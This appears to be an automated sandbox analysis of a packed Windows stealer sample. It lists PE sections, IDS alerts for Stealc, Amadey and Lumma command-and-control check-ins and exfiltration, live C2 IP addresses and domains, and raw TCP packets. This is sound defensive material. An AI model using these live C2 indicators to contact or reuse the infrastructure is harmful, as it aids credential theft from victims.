IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
	0x1000	0x249000	0x16200	31695bcd1d026a34f245cc4ba3c886f4	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0x24a000	0x2b0	0x200	eee2176cff4dbb27522ada09e958ad74	False	0.806640625	data	5.967813134862065	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.idata	0x24b000	0x1000	0x200	0d0399d83a742d5d86c5718841e8e842	False	0.134765625	data	0.8646718654202081	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
	0x24c000	0x29c000	0x200	587dceab66007aacbf022a2a27074253	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
tevjzfjr	0x4e8000	0x197000	0x197000	03b5ae9ce748dcd6e9cbeb665c4d6bf9	False	0.994469944909398	data	7.953584813210595	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
xjqjchyu	0x67f000	0x1000	0x400	1a4c8573d4974145e3d20f7622094d01	False	0.7490234375	data	5.936138915336159	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.taggant	0x680000	0x3000	0x2200	ef31f5c0ec6cb011ebf75d9a27282e18	False	0.055951286764705885	DOS executable (COM)	0.6500678695722119	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
RT_MANIFEST	0x67ebe8	0x256	ASCII text, with CRLF line terminators			0.5100334448160535

Imports

DLL	Import
kernel32.dll	lstrcpy

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-11-27T17:58:20.195519+0100	2044243	ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in	1	192.168.2.7	49702	185.215.113.206	80	TCP
2024-11-27T17:58:20.663819+0100	2044244	ET MALWARE Win32/Stealc Requesting browsers Config from C2	1	192.168.2.7	49702	185.215.113.206	80	TCP
2024-11-27T17:58:20.786560+0100	2044245	ET MALWARE Win32/Stealc Active C2 Responding with browsers Config	1	185.215.113.206	80	192.168.2.7	49702	TCP
2024-11-27T17:58:21.125512+0100	2044246	ET MALWARE Win32/Stealc Requesting plugins Config from C2	1	192.168.2.7	49702	185.215.113.206	80	TCP
2024-11-27T17:58:21.255511+0100	2044247	ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config	1	185.215.113.206	80	192.168.2.7	49702	TCP
2024-11-27T17:58:22.597404+0100	2044248	ET MALWARE Win32/Stealc Submitting System Information to C2	1	192.168.2.7	49702	185.215.113.206	80	TCP
2024-11-27T17:58:24.132809+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.7	49702	185.215.113.206	80	TCP
2024-11-27T17:58:51.740974+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.7	49850	185.215.113.206	80	TCP
2024-11-27T17:58:53.934633+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.7	49850	185.215.113.206	80	TCP
2024-11-27T17:58:55.345012+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.7	49850	185.215.113.206	80	TCP
2024-11-27T17:58:56.502423+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.7	49850	185.215.113.206	80	TCP
2024-11-27T17:59:00.282219+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.7	49850	185.215.113.206	80	TCP
2024-11-27T17:59:01.422016+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.7	49850	185.215.113.206	80	TCP
2024-11-27T17:59:07.579814+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.7	49942	185.215.113.16	80	TCP
2024-11-27T17:59:40.849964+0100	2856147	ETPRO MALWARE Amadey CnC Activity M3	1	192.168.2.7	50027	185.215.113.43	80	TCP
2024-11-27T17:59:45.457215+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.7	54498	31.41.244.11	80	TCP
2024-11-27T17:59:55.207889+0100	2856122	ETPRO MALWARE Amadey CnC Response M1	1	185.215.113.43	80	192.168.2.7	54491	TCP
2024-11-27T17:59:56.645551+0100	2044696	ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2	1	192.168.2.7	54526	185.215.113.43	80	TCP
2024-11-27T17:59:58.387145+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.7	54528	185.215.113.16	80	TCP
2024-11-27T18:00:04.837456+0100	2057836	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (property-imper .sbs)	1	192.168.2.7	56374	1.1.1.1	53	UDP
2024-11-27T18:00:04.980387+0100	2057818	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (frogs-severz .sbs)	1	192.168.2.7	58693	1.1.1.1	53	UDP
2024-11-27T18:00:05.122165+0100	2057830	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (occupy-blushi .sbs)	1	192.168.2.7	59978	1.1.1.1	53	UDP
2024-11-27T18:00:05.262971+0100	2057812	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (blade-govern .sbs)	1	192.168.2.7	50622	1.1.1.1	53	UDP
2024-11-27T18:00:05.404997+0100	2057842	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (story-tense-faz .sbs)	1	192.168.2.7	60515	1.1.1.1	53	UDP
2024-11-27T18:00:05.549881+0100	2057824	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (leg-sate-boat .sbs)	1	192.168.2.7	57864	1.1.1.1	53	UDP
2024-11-27T18:00:05.562989+0100	2044696	ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2	1	192.168.2.7	54544	185.215.113.43	80	TCP
2024-11-27T18:00:05.695139+0100	2057814	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (disobey-curly .sbs)	1	192.168.2.7	55188	1.1.1.1	53	UDP
2024-11-27T18:00:05.988975+0100	2057826	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (motion-treesz .sbs)	1	192.168.2.7	56495	1.1.1.1	53	UDP
2024-11-27T18:00:06.133404+0100	2057834	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (powerful-avoids .sbs)	1	192.168.2.7	58326	1.1.1.1	53	UDP
2024-11-27T18:00:07.206908+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.7	54550	185.215.113.16	80	TCP
2024-11-27T18:00:07.914554+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.7	54551	104.121.10.34	443	TCP
2024-11-27T18:00:08.755963+0100	2858666	ETPRO MALWARE Win32/Lumma Stealer Steam Profile Lookup	1	192.168.2.7	54551	104.121.10.34	443	TCP
2024-11-27T18:00:08.984904+0100	2057415	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (marshal-zhukov .com)	1	192.168.2.7	60911	1.1.1.1	53	UDP
2024-11-27T18:00:10.557254+0100	2057416	ET MALWARE Observed Win32/Lumma Stealer Related Domain (marshal-zhukov .com in TLS SNI)	1	192.168.2.7	54556	104.21.82.174	443	TCP
2024-11-27T18:00:10.557254+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.7	54556	104.21.82.174	443	TCP
2024-11-27T18:00:11.303843+0100	2049836	ET MALWARE Lumma Stealer Related Activity	1	192.168.2.7	54556	104.21.82.174	443	TCP
2024-11-27T18:00:11.303843+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.7	54556	104.21.82.174	443	TCP
2024-11-27T18:00:14.312325+0100	2057416	ET MALWARE Observed Win32/Lumma Stealer Related Domain (marshal-zhukov .com in TLS SNI)	1	192.168.2.7	54567	104.21.82.174	443	TCP
2024-11-27T18:00:14.312325+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.7	54567	104.21.82.174	443	TCP
2024-11-27T18:00:14.411179+0100	2044696	ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2	1	192.168.2.7	54566	185.215.113.43	80	TCP
2024-11-27T18:00:15.372301+0100	2049812	ET MALWARE Lumma Stealer Related Activity M2	1	192.168.2.7	54567	104.21.82.174	443	TCP
2024-11-27T18:00:15.372301+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.7	54567	104.21.82.174	443	TCP
2024-11-27T18:00:15.999996+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.7	54568	185.215.113.16	80	TCP
2024-11-27T18:00:16.734160+0100	2044243	ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in	1	192.168.2.7	54570	185.215.113.206	80	TCP
2024-11-27T18:00:18.592191+0100	2057416	ET MALWARE Observed Win32/Lumma Stealer Related Domain (marshal-zhukov .com in TLS SNI)	1	192.168.2.7	54580	104.21.82.174	443	TCP
2024-11-27T18:00:18.592191+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.7	54580	104.21.82.174	443	TCP
2024-11-27T18:00:18.837480+0100	2057836	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (property-imper .sbs)	1	192.168.2.7	50567	1.1.1.1	53	UDP
2024-11-27T18:00:18.980860+0100	2057818	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (frogs-severz .sbs)	1	192.168.2.7	62265	1.1.1.1	53	UDP
2024-11-27T18:00:19.123121+0100	2057830	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (occupy-blushi .sbs)	1	192.168.2.7	57940	1.1.1.1	53	UDP
2024-11-27T18:00:19.267441+0100	2057812	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (blade-govern .sbs)	1	192.168.2.7	61229	1.1.1.1	53	UDP
2024-11-27T18:00:19.491570+0100	2057842	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (story-tense-faz .sbs)	1	192.168.2.7	59313	1.1.1.1	53	UDP
2024-11-27T18:00:19.504440+0100	2048094	ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration	1	192.168.2.7	54580	104.21.82.174	443	TCP
2024-11-27T18:00:19.819429+0100	2057824	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (leg-sate-boat .sbs)	1	192.168.2.7	50295	1.1.1.1	53	UDP
2024-11-27T18:00:20.108604+0100	2057814	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (disobey-curly .sbs)	1	192.168.2.7	50989	1.1.1.1	53	UDP
2024-11-27T18:00:20.350644+0100	2057826	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (motion-treesz .sbs)	1	192.168.2.7	62580	1.1.1.1	53	UDP
2024-11-27T18:00:20.499636+0100	2057834	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (powerful-avoids .sbs)	1	192.168.2.7	53130	1.1.1.1	53	UDP
2024-11-27T18:00:21.876841+0100	2044696	ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2	1	192.168.2.7	54586	185.215.113.43	80	TCP
2024-11-27T18:00:29.519463+0100	2044243	ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in	1	192.168.2.7	54625	185.215.113.206	80	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Nov 27, 2024 17:58:08.408840895 CET	49674	443	192.168.2.7	104.98.116.138
Nov 27, 2024 17:58:08.408860922 CET	49675	443	192.168.2.7	104.98.116.138
Nov 27, 2024 17:58:08.580718040 CET	49672	443	192.168.2.7	104.98.116.138
Nov 27, 2024 17:58:12.503089905 CET	49677	443	192.168.2.7	20.50.201.200
Nov 27, 2024 17:58:12.877718925 CET	49677	443	192.168.2.7	20.50.201.200
Nov 27, 2024 17:58:13.627639055 CET	49677	443	192.168.2.7	20.50.201.200
Nov 27, 2024 17:58:15.127670050 CET	49677	443	192.168.2.7	20.50.201.200
Nov 27, 2024 17:58:17.152545929 CET	49701	443	192.168.2.7	13.107.246.63
Nov 27, 2024 17:58:17.152602911 CET	443	49701	13.107.246.63	192.168.2.7
Nov 27, 2024 17:58:17.152713060 CET	49701	443	192.168.2.7	13.107.246.63
Nov 27, 2024 17:58:17.153214931 CET	49701	443	192.168.2.7	13.107.246.63
Nov 27, 2024 17:58:17.153229952 CET	443	49701	13.107.246.63	192.168.2.7
Nov 27, 2024 17:58:18.036757946 CET	49702	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:18.096519947 CET	49674	443	192.168.2.7	104.98.116.138
Nov 27, 2024 17:58:18.096570015 CET	49675	443	192.168.2.7	104.98.116.138
Nov 27, 2024 17:58:18.169275999 CET	80	49702	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:18.169449091 CET	49702	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:18.172557116 CET	49702	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:18.190285921 CET	49677	443	192.168.2.7	20.50.201.200
Nov 27, 2024 17:58:18.284095049 CET	49672	443	192.168.2.7	104.98.116.138
Nov 27, 2024 17:58:18.293215036 CET	80	49702	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:19.233519077 CET	443	49701	13.107.246.63	192.168.2.7
Nov 27, 2024 17:58:19.233661890 CET	49701	443	192.168.2.7	13.107.246.63
Nov 27, 2024 17:58:19.450803041 CET	49701	443	192.168.2.7	13.107.246.63
Nov 27, 2024 17:58:19.450840950 CET	443	49701	13.107.246.63	192.168.2.7
Nov 27, 2024 17:58:19.451212883 CET	443	49701	13.107.246.63	192.168.2.7
Nov 27, 2024 17:58:19.523179054 CET	49701	443	192.168.2.7	13.107.246.63
Nov 27, 2024 17:58:19.567331076 CET	443	49701	13.107.246.63	192.168.2.7
Nov 27, 2024 17:58:19.599805117 CET	80	49702	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:19.600027084 CET	49702	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:19.660023928 CET	49702	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:19.830219030 CET	80	49702	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:19.935094118 CET	443	49701	13.107.246.63	192.168.2.7
Nov 27, 2024 17:58:19.935123920 CET	443	49701	13.107.246.63	192.168.2.7
Nov 27, 2024 17:58:19.935137033 CET	443	49701	13.107.246.63	192.168.2.7
Nov 27, 2024 17:58:19.935148001 CET	443	49701	13.107.246.63	192.168.2.7
Nov 27, 2024 17:58:19.935156107 CET	443	49701	13.107.246.63	192.168.2.7
Nov 27, 2024 17:58:19.935163021 CET	443	49701	13.107.246.63	192.168.2.7
Nov 27, 2024 17:58:19.935178041 CET	49701	443	192.168.2.7	13.107.246.63
Nov 27, 2024 17:58:19.935209036 CET	443	49701	13.107.246.63	192.168.2.7
Nov 27, 2024 17:58:19.935230017 CET	49701	443	192.168.2.7	13.107.246.63
Nov 27, 2024 17:58:19.935255051 CET	49701	443	192.168.2.7	13.107.246.63
Nov 27, 2024 17:58:20.126590967 CET	443	49701	13.107.246.63	192.168.2.7
Nov 27, 2024 17:58:20.126615047 CET	443	49701	13.107.246.63	192.168.2.7
Nov 27, 2024 17:58:20.126692057 CET	49701	443	192.168.2.7	13.107.246.63
Nov 27, 2024 17:58:20.126712084 CET	443	49701	13.107.246.63	192.168.2.7
Nov 27, 2024 17:58:20.126755953 CET	49701	443	192.168.2.7	13.107.246.63
Nov 27, 2024 17:58:20.184324026 CET	443	49701	13.107.246.63	192.168.2.7
Nov 27, 2024 17:58:20.184345007 CET	443	49701	13.107.246.63	192.168.2.7
Nov 27, 2024 17:58:20.184398890 CET	49701	443	192.168.2.7	13.107.246.63
Nov 27, 2024 17:58:20.184425116 CET	443	49701	13.107.246.63	192.168.2.7
Nov 27, 2024 17:58:20.184448004 CET	49701	443	192.168.2.7	13.107.246.63
Nov 27, 2024 17:58:20.184470892 CET	49701	443	192.168.2.7	13.107.246.63
Nov 27, 2024 17:58:20.195456028 CET	80	49702	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:20.195518970 CET	49702	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:20.196733952 CET	49702	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:20.304714918 CET	443	49701	13.107.246.63	192.168.2.7
Nov 27, 2024 17:58:20.304738998 CET	443	49701	13.107.246.63	192.168.2.7
Nov 27, 2024 17:58:20.304794073 CET	49701	443	192.168.2.7	13.107.246.63
Nov 27, 2024 17:58:20.304821968 CET	443	49701	13.107.246.63	192.168.2.7
Nov 27, 2024 17:58:20.304861069 CET	49701	443	192.168.2.7	13.107.246.63
Nov 27, 2024 17:58:20.304877996 CET	49701	443	192.168.2.7	13.107.246.63
Nov 27, 2024 17:58:20.323471069 CET	80	49702	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:20.345428944 CET	443	49701	13.107.246.63	192.168.2.7
Nov 27, 2024 17:58:20.345455885 CET	443	49701	13.107.246.63	192.168.2.7
Nov 27, 2024 17:58:20.345555067 CET	49701	443	192.168.2.7	13.107.246.63
Nov 27, 2024 17:58:20.345583916 CET	443	49701	13.107.246.63	192.168.2.7
Nov 27, 2024 17:58:20.345717907 CET	49701	443	192.168.2.7	13.107.246.63
Nov 27, 2024 17:58:20.367679119 CET	443	49701	13.107.246.63	192.168.2.7
Nov 27, 2024 17:58:20.367707014 CET	443	49701	13.107.246.63	192.168.2.7
Nov 27, 2024 17:58:20.367831945 CET	49701	443	192.168.2.7	13.107.246.63
Nov 27, 2024 17:58:20.367852926 CET	443	49701	13.107.246.63	192.168.2.7
Nov 27, 2024 17:58:20.368017912 CET	49701	443	192.168.2.7	13.107.246.63
Nov 27, 2024 17:58:20.389678001 CET	443	49701	13.107.246.63	192.168.2.7
Nov 27, 2024 17:58:20.389698982 CET	443	49701	13.107.246.63	192.168.2.7
Nov 27, 2024 17:58:20.389894962 CET	49701	443	192.168.2.7	13.107.246.63
Nov 27, 2024 17:58:20.389916897 CET	443	49701	13.107.246.63	192.168.2.7
Nov 27, 2024 17:58:20.390053034 CET	49701	443	192.168.2.7	13.107.246.63
Nov 27, 2024 17:58:20.506356001 CET	443	49701	13.107.246.63	192.168.2.7
Nov 27, 2024 17:58:20.506377935 CET	443	49701	13.107.246.63	192.168.2.7
Nov 27, 2024 17:58:20.506530046 CET	49701	443	192.168.2.7	13.107.246.63
Nov 27, 2024 17:58:20.506570101 CET	443	49701	13.107.246.63	192.168.2.7
Nov 27, 2024 17:58:20.508416891 CET	49701	443	192.168.2.7	13.107.246.63
Nov 27, 2024 17:58:20.528146029 CET	443	49701	13.107.246.63	192.168.2.7
Nov 27, 2024 17:58:20.528165102 CET	443	49701	13.107.246.63	192.168.2.7
Nov 27, 2024 17:58:20.528278112 CET	49701	443	192.168.2.7	13.107.246.63
Nov 27, 2024 17:58:20.528296947 CET	443	49701	13.107.246.63	192.168.2.7
Nov 27, 2024 17:58:20.532310963 CET	49701	443	192.168.2.7	13.107.246.63
Nov 27, 2024 17:58:20.547118902 CET	443	49701	13.107.246.63	192.168.2.7
Nov 27, 2024 17:58:20.547136068 CET	443	49701	13.107.246.63	192.168.2.7
Nov 27, 2024 17:58:20.547266960 CET	49701	443	192.168.2.7	13.107.246.63
Nov 27, 2024 17:58:20.547276974 CET	443	49701	13.107.246.63	192.168.2.7
Nov 27, 2024 17:58:20.548293114 CET	49701	443	192.168.2.7	13.107.246.63
Nov 27, 2024 17:58:20.557079077 CET	443	49701	13.107.246.63	192.168.2.7
Nov 27, 2024 17:58:20.557100058 CET	443	49701	13.107.246.63	192.168.2.7
Nov 27, 2024 17:58:20.557169914 CET	49701	443	192.168.2.7	13.107.246.63
Nov 27, 2024 17:58:20.557183027 CET	443	49701	13.107.246.63	192.168.2.7
Nov 27, 2024 17:58:20.557203054 CET	49701	443	192.168.2.7	13.107.246.63
Nov 27, 2024 17:58:20.557238102 CET	49701	443	192.168.2.7	13.107.246.63
Nov 27, 2024 17:58:20.570727110 CET	443	49701	13.107.246.63	192.168.2.7
Nov 27, 2024 17:58:20.570744991 CET	443	49701	13.107.246.63	192.168.2.7
Nov 27, 2024 17:58:20.570820093 CET	49701	443	192.168.2.7	13.107.246.63
Nov 27, 2024 17:58:20.570838928 CET	443	49701	13.107.246.63	192.168.2.7
Nov 27, 2024 17:58:20.570863008 CET	49701	443	192.168.2.7	13.107.246.63
Nov 27, 2024 17:58:20.570882082 CET	49701	443	192.168.2.7	13.107.246.63
Nov 27, 2024 17:58:20.581564903 CET	443	49701	13.107.246.63	192.168.2.7
Nov 27, 2024 17:58:20.581583977 CET	443	49701	13.107.246.63	192.168.2.7
Nov 27, 2024 17:58:20.581648111 CET	49701	443	192.168.2.7	13.107.246.63
Nov 27, 2024 17:58:20.581657887 CET	443	49701	13.107.246.63	192.168.2.7
Nov 27, 2024 17:58:20.584300995 CET	49701	443	192.168.2.7	13.107.246.63
Nov 27, 2024 17:58:20.586412907 CET	443	49701	13.107.246.63	192.168.2.7
Nov 27, 2024 17:58:20.586503983 CET	49701	443	192.168.2.7	13.107.246.63
Nov 27, 2024 17:58:20.586504936 CET	443	49701	13.107.246.63	192.168.2.7
Nov 27, 2024 17:58:20.586553097 CET	49701	443	192.168.2.7	13.107.246.63
Nov 27, 2024 17:58:20.586580038 CET	443	49701	13.107.246.63	192.168.2.7
Nov 27, 2024 17:58:20.586596012 CET	49701	443	192.168.2.7	13.107.246.63
Nov 27, 2024 17:58:20.586596012 CET	49701	443	192.168.2.7	13.107.246.63
Nov 27, 2024 17:58:20.586605072 CET	443	49701	13.107.246.63	192.168.2.7
Nov 27, 2024 17:58:20.586611032 CET	443	49701	13.107.246.63	192.168.2.7
Nov 27, 2024 17:58:20.622221947 CET	49703	443	192.168.2.7	13.107.246.63
Nov 27, 2024 17:58:20.622279882 CET	443	49703	13.107.246.63	192.168.2.7
Nov 27, 2024 17:58:20.622385025 CET	49703	443	192.168.2.7	13.107.246.63
Nov 27, 2024 17:58:20.623066902 CET	49703	443	192.168.2.7	13.107.246.63
Nov 27, 2024 17:58:20.623081923 CET	443	49703	13.107.246.63	192.168.2.7
Nov 27, 2024 17:58:20.624191999 CET	49704	443	192.168.2.7	13.107.246.63
Nov 27, 2024 17:58:20.624228954 CET	443	49704	13.107.246.63	192.168.2.7
Nov 27, 2024 17:58:20.624320984 CET	49704	443	192.168.2.7	13.107.246.63
Nov 27, 2024 17:58:20.624551058 CET	49704	443	192.168.2.7	13.107.246.63
Nov 27, 2024 17:58:20.624563932 CET	443	49704	13.107.246.63	192.168.2.7
Nov 27, 2024 17:58:20.626147985 CET	49706	443	192.168.2.7	13.107.246.63
Nov 27, 2024 17:58:20.626147032 CET	49705	443	192.168.2.7	13.107.246.63
Nov 27, 2024 17:58:20.626157999 CET	443	49706	13.107.246.63	192.168.2.7
Nov 27, 2024 17:58:20.626183987 CET	443	49705	13.107.246.63	192.168.2.7
Nov 27, 2024 17:58:20.626327038 CET	49706	443	192.168.2.7	13.107.246.63
Nov 27, 2024 17:58:20.626429081 CET	49705	443	192.168.2.7	13.107.246.63
Nov 27, 2024 17:58:20.626434088 CET	49706	443	192.168.2.7	13.107.246.63
Nov 27, 2024 17:58:20.626445055 CET	443	49706	13.107.246.63	192.168.2.7
Nov 27, 2024 17:58:20.627742052 CET	49707	443	192.168.2.7	13.107.246.63
Nov 27, 2024 17:58:20.627753019 CET	443	49707	13.107.246.63	192.168.2.7
Nov 27, 2024 17:58:20.627829075 CET	49707	443	192.168.2.7	13.107.246.63
Nov 27, 2024 17:58:20.628144979 CET	49705	443	192.168.2.7	13.107.246.63
Nov 27, 2024 17:58:20.628160954 CET	443	49705	13.107.246.63	192.168.2.7
Nov 27, 2024 17:58:20.628288984 CET	49707	443	192.168.2.7	13.107.246.63
Nov 27, 2024 17:58:20.628300905 CET	443	49707	13.107.246.63	192.168.2.7
Nov 27, 2024 17:58:20.663760900 CET	80	49702	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:20.663819075 CET	49702	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:20.663917065 CET	80	49702	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:20.663953066 CET	49702	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:20.665169001 CET	49702	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:20.786560059 CET	80	49702	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:21.125421047 CET	80	49702	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:21.125477076 CET	80	49702	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:21.125488997 CET	80	49702	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:21.125511885 CET	49702	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:21.125560999 CET	49702	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:21.125663042 CET	80	49702	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:21.125675917 CET	80	49702	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:21.125688076 CET	80	49702	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:21.125711918 CET	49702	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:21.125737906 CET	49702	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:21.133851051 CET	80	49702	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:21.133930922 CET	49702	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:21.135188103 CET	49702	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:21.255511045 CET	80	49702	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:21.278568029 CET	443	49700	104.98.116.138	192.168.2.7
Nov 27, 2024 17:58:21.278670073 CET	49700	443	192.168.2.7	104.98.116.138
Nov 27, 2024 17:58:21.593580008 CET	80	49702	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:21.593734980 CET	49702	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:21.611674070 CET	49702	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:21.611715078 CET	49702	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:21.737962008 CET	80	49702	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:21.738104105 CET	80	49702	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:21.738176107 CET	80	49702	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:21.738185883 CET	80	49702	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:21.738426924 CET	80	49702	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:21.738437891 CET	80	49702	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:22.249023914 CET	443	49704	13.107.246.63	192.168.2.7
Nov 27, 2024 17:58:22.299791098 CET	49704	443	192.168.2.7	13.107.246.63
Nov 27, 2024 17:58:22.354968071 CET	49704	443	192.168.2.7	13.107.246.63
Nov 27, 2024 17:58:22.354976892 CET	443	49704	13.107.246.63	192.168.2.7
Nov 27, 2024 17:58:22.355500937 CET	49704	443	192.168.2.7	13.107.246.63
Nov 27, 2024 17:58:22.355508089 CET	443	49704	13.107.246.63	192.168.2.7
Nov 27, 2024 17:58:22.421042919 CET	443	49703	13.107.246.63	192.168.2.7
Nov 27, 2024 17:58:22.421559095 CET	49703	443	192.168.2.7	13.107.246.63
Nov 27, 2024 17:58:22.421586037 CET	443	49703	13.107.246.63	192.168.2.7
Nov 27, 2024 17:58:22.422012091 CET	49703	443	192.168.2.7	13.107.246.63
Nov 27, 2024 17:58:22.422018051 CET	443	49703	13.107.246.63	192.168.2.7
Nov 27, 2024 17:58:22.451224089 CET	443	49706	13.107.246.63	192.168.2.7
Nov 27, 2024 17:58:22.465786934 CET	443	49707	13.107.246.63	192.168.2.7
Nov 27, 2024 17:58:22.485244989 CET	49706	443	192.168.2.7	13.107.246.63
Nov 27, 2024 17:58:22.485259056 CET	443	49706	13.107.246.63	192.168.2.7
Nov 27, 2024 17:58:22.485757113 CET	49706	443	192.168.2.7	13.107.246.63
